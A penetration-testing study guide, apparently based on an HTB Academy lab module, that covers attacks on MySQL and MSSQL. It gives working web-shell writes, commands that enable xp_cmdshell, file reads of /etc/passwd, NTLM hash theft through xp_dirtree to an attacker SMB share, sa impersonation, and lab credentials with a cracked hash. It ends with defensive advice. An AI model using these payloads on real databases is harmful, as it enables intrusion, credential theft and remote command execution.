🗄️SQL Database Attacks

🎯 Overview

This document covers exploitation techniques against SQL databases (MySQL and MSSQL), focusing on practical attack methodologies from HTB Academy's "Attacking Common Services" module. Database attacks can lead to data extraction, command execution, privilege escalation, and lateral movement.

"Database hosts are considered to be high targets since they are responsible for storing all kinds of sensitive data, including user credentials, PII, business-related data, and payment information. These services often are configured with highly privileged users."

🏗️ SQL Attack Methodology

Attack Chain Overview

Service Discovery → Authentication Bypass → Database Enumeration → Data Extraction → Command Execution → Lateral Movement

Key Attack Vectors

  • Authentication Bypass (Default credentials, timing attacks)

  • Database Enumeration (Tables, schemas, sensitive data)

  • Command Execution (xp_cmdshell, UDF functions)

  • File Operations (Read/write local files)

  • Hash Stealing (SMB integration attacks)

  • Privilege Escalation (User impersonation)

  • Lateral Movement (Linked servers)

📍 Service Discovery & Analysis

Default Ports & Scanning

# MSSQL default ports
# TCP/1433 (default), UDP/1434, TCP/2433 (hidden mode)

# MySQL default port
# TCP/3306

# Comprehensive Nmap scan
nmap -Pn -sV -sC -p1433,3306 10.10.10.125
# Expected MSSQL output
PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: mssql-test
|   DNS_Domain_Name: HTB.LOCAL
|   DNS_Computer_Name: mssql-test.HTB.LOCAL

Key Information to Extract

  • Database Version (vulnerability research)

  • Authentication Mode (Windows vs Mixed)

  • Domain Information (for privilege escalation)

  • SSL Configuration (encryption status)

  • Service Account details

🔐 Authentication Mechanisms & Bypass

1. MSSQL Authentication Types

Windows Authentication Mode

  • Integrated Security with Windows/Active Directory

  • Pre-authenticated Windows users don't need additional credentials

  • Domain-based privilege management

Mixed Mode Authentication

  • Windows/AD accounts + SQL Server accounts

  • Username/password pairs maintained within SQL Server

  • Higher attack surface due to dual authentication

2. MySQL Authentication Methods

  • Username/password authentication

  • Windows authentication (plugin required)

  • Socket-based authentication

3. Historical Vulnerabilities

CVE-2012-2122 - MySQL Timing Attack

# MySQL 5.6.x authentication bypass
# Repeatedly use same incorrect password
# Timing attack vulnerability in authentication handling

# Manual exploitation concept:
for i in {1..1000}; do
    mysql -u root -pwrongpass -h target 2>/dev/null
done
# Eventually succeeds due to timing vulnerability

🔓 Protocol Specific Attacks

1. Database Connection & Authentication

MySQL Connection

# Basic MySQL connection
mysql -u julio -pPassword123 -h 10.129.20.13

# Expected output
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.28-0ubuntu0.20.04.3 (Ubuntu)

MSSQL Connection Methods

# Windows sqlcmd
sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30

# Linux sqsh alternative
sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h

# Impacket mssqlclient
mssqlclient.py -p 1433 julio@10.129.203.7

Windows Authentication

# Domain authentication
sqsh -S 10.129.203.7 -U DOMAIN\\julio -P 'MyPassword!' -h

# Local account authentication
sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h

🗄️ Database Enumeration & Data Extraction

1. Default System Databases

MySQL System Schemas

  • mysql - System database with server information

  • information_schema - Database metadata access

  • performance_schema - Server execution monitoring

  • sys - Performance Schema interpretation objects

MSSQL System Databases

  • master - SQL Server instance information

  • msdb - SQL Server Agent usage

  • model - Template for new databases

  • resource - Read-only system objects

  • tempdb - Temporary objects storage

2. Database Enumeration Commands

Show Databases

-- MySQL
SHOW DATABASES;

-- MSSQL
SELECT name FROM master.dbo.sysdatabases
GO

Select Database

-- MySQL
USE htbusers;

-- MSSQL
USE htbusers
GO

Show Tables

-- MySQL
SHOW TABLES;

-- MSSQL
SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
GO

Extract Table Data

-- Universal SQL
SELECT * FROM users;

-- Example output
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+

💻 Command Execution Techniques

1. MSSQL Command Execution

xp_cmdshell Usage

-- Execute system commands
xp_cmdshell 'whoami'
GO

-- Expected output
output
-----------------------------
nt service\mssql$sqlexpress
NULL

Enable xp_cmdshell

-- Enable advanced options
EXECUTE sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO

-- Enable xp_cmdshell
EXECUTE sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO

2. MySQL Command Execution

User Defined Functions (UDF)

-- MySQL UDF for command execution
-- Requires custom C/C++ UDF compilation
-- GitHub repository: https://github.com/mysqludf/lib_mysqludf_sys

-- Example usage (if UDF available)
SELECT sys_exec('whoami');

📂 File Operations

1. Write Local Files

MySQL File Writing

-- Write web shell to web directory
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';

-- Check secure_file_priv setting
SHOW VARIABLES LIKE "secure_file_priv";

MSSQL File Writing

-- Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
sp_configure 'Ole Automation Procedures', 1
GO
RECONFIGURE
GO

-- Create web shell file
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO

2. Read Local Files

MSSQL File Reading

-- Read system files
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
GO

-- Expected output
BulkColumn
-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

MySQL File Reading

-- Read local files (requires appropriate privileges)
SELECT LOAD_FILE("/etc/passwd");

-- Expected output
+--------------------------+
| LOAD_FILE("/etc/passwd") |
+--------------------------+
| root:x:0:0:root:/root:/bin/bash
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

🕷️ Hash Stealing Attacks

1. MSSQL Service Hash Capture

Using xp_dirtree

-- Force SMB authentication to attacker
EXEC master..xp_dirtree '\\10.10.110.17\share\'
GO

Using xp_subdirs

-- Alternative method
EXEC master..xp_subdirs '\\10.10.110.17\share\'
GO

2. Capture Setup

Responder Setup

# Start Responder to capture hashes
sudo responder -I tun0

# Expected capture
[SMB] NTLMv2-SSP Client   : 10.10.110.17
[SMB] NTLMv2-SSP Username : SRVMSSQL\demouser
[SMB] NTLMv2-SSP Hash     : demouser::WIN7BOX:5e3ab1c4380b94a1:A18830632D52768440B7E2425C4A7107...

Impacket SMB Server

# Alternative capture method
sudo impacket-smbserver share ./ -smb2support

# Captured authentication details
[*] AUTHENTICATE_MESSAGE (WINSRV02\mssqlsvc,WINSRV02)
[*] User WINSRV02\mssqlsvc authenticated successfully

👤 Privilege Escalation

1. User Impersonation

Identify Impersonatable Users

-- Find users we can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
GO

-- Example output
name
-----------------------------------------------
sa
ben
valentin

Check Current Privileges

-- Verify current user and role
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO

-- Output: 0 = not sysadmin, 1 = sysadmin

Impersonate Higher Privileged User

-- Impersonate SA user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO

-- Now shows sysadmin privileges (1)

-- Revert to original user
REVERT

🌐 Lateral Movement

1. Linked Servers

Identify Linked Servers

-- Find linked servers
SELECT srvname, isremote FROM sysservers
GO

-- Example output
srvname                             isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS          1
10.0.0.12\SQLEXPRESS                0

-- isremote: 1 = remote server, 0 = linked server

Execute Commands on Linked Servers

-- Execute commands on remote SQL instance
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
GO

-- Expected output
------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS     Microsoft SQL Server 2019      sa_remote                      1

📝 Skills Assessment Examples

Example 1: Service Hash Capture

Task: Capture MSSQL service hash using xp_dirtree

-- Force authentication to attacker machine
EXEC master..xp_dirtree '\\ATTACKER_IP\share\'
GO

-- Responder captures NTLMv2 hash
-- Answer: Service account hash captured

Example 2: Database Enumeration

Task: Find flag in "flagDB" database

-- Connect and enumerate
USE flagDB
GO
SELECT table_name FROM flagDB.INFORMATION_SCHEMA.TABLES
GO
SELECT * FROM flags
GO

-- Answer: Flag content from database

Example 3: Privilege Escalation

Task: Escalate to sysadmin via impersonation

-- Check available users to impersonate
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
GO

-- Impersonate SA
EXECUTE AS LOGIN = 'sa'
-- Now have sysadmin privileges

🛡️ Defense & Mitigation

Database Security Hardening

  • Disable unnecessary features (xp_cmdshell, Ole Automation)

  • Implement strong authentication

  • Use least privilege principles

  • Network segmentation for database servers

  • Regular security updates

  • Monitor file operations

Detection Strategies

  • Monitor failed authentication attempts

  • Alert on xp_cmdshell usage

  • Track file read/write operations

  • Log impersonation activities

  • Monitor linked server queries

  • Detect SMB connection attempts

🔗 Related Techniques

📚 References

  • HTB Academy - Attacking Common Services Module

  • Microsoft SQL Server Documentation - Security best practices

  • MySQL Security Documentation - Hardening guidelines

  • OWASP Database Security - Common vulnerabilities

  • CVE-2012-2122 - MySQL authentication bypass

🎯 HTB Academy Lab Scenarios

Scenario 1: Initial Database Access

# Target: 10.129.203.12 (ACADEMY-ATTCOMSVC-WIN-02)
# Credentials: htbdbuser:MSSQLAccess01!

# Install sqlcmd (if needed)
sudo apt install sqlcmd

# Connect to target MSSQL server
sqlcmd -S 10.129.203.12 -U htbdbuser
Password: MSSQLAccess01!

# Expected output:
1>

Scenario 2: MSSQL Service Hash Capture

Task: Find password for "mssqlsvc" user via hash stealing

Terminal 1 - Start SMB Server

# Start impacket SMB server with SMBv2 support
sudo impacket-smbserver share ./ -smb2support

# Expected output:
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0

Terminal 2 - Execute Hash Stealing Attack

-- Connect to SQL server first
sqlcmd -S 10.129.203.12 -U htbdbuser

-- Execute xp_dirtree to force SMB authentication (replace with YOUR IP)
1> EXEC master..xp_dirtree '\\10.10.14.138\share'
2> GO

(0 rows affected)

Captured Hash Output

# SMB Server captures NTLMv2 hash:
[*] Incoming connection (10.129.203.12,49676)
[*] AUTHENTICATE_MESSAGE (WIN-02\mssqlsvc,WIN-02)
[*] User WIN-02\mssqlsvc authenticated successfully
[*] mssqlsvc::WIN-02:aaaaaaaaaaaaaaaa:da87f7aa577b48e8361cf1b021e6bfca:010100000000000000555ef6718cd801e1b423320a45d0570000000001001000760055004a005100610058005200550003001000760055004a00510061005800520055000200100069004700430077004f0055006b0077000400100069004700430077004f0055006b0077000700080000555ef6718cd80106000400020000000800300030000000000000000000000000300000f4316f662256a822989f5d2574efb5b4cbf92c2ce43cb82538c6b2b358a130650a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0034000000000000000000

# Crack hash to get password: princess1

Scenario 3: Flag Enumeration with Escalated Privileges

Task: Enumerate "flagDB" database and extract flag

Connect with mssqlsvc Account

# Use cracked credentials: mssqlsvc:princess1
sqlcmd -S 10.129.203.12 -U .\\mssqlsvc
Password: princess1

# Expected output:
1>

Database and Table Enumeration

-- Switch to flagDB database
1> USE flagDB
2> GO
Changed database context to 'flagDB'.

-- Enumerate tables in flagDB
1> SELECT table_name FROM flagDB.INFORMATION_SCHEMA.tables
2> GO

table_name                                                                                                                      
--------------------------------------------------------------------------------------------------------------------------------
tb_flag                                                                                                                         

(1 row affected)

Flag Extraction

-- Extract flag from tb_flag table
1> SELECT * FROM tb_flag 
2> GO

flagvalue
----------------------------------------------------------------------------------------------------
HTB{...}                                                                   

(1 row affected)

Answer: HTB{...}

📋 SQL Attack Checklist

Authentication Attacks

Database Exploitation

Post-Exploitation

🛡️ Defense & Detection

Security Hardening

  • Disable xp_cmdshell and dangerous stored procedures

  • Implement least privilege database access

  • Use strong authentication and password policies

  • Network segmentation for database servers

  • Regular security updates and patches

Detection Strategies

  • Monitor xp_cmdshell usage and command execution

  • Alert on file operations (LOAD_FILE, INTO OUTFILE)

  • Track authentication failures and unusual login patterns

  • Monitor SMB connections from database servers

  • Log impersonation activities and privilege changes

🔗 Related Techniques

This document provides comprehensive SQL database attack methodologies based on HTB Academy's "Attacking Common Services" module, focusing on practical exploitation techniques for penetration testing and security assessment.

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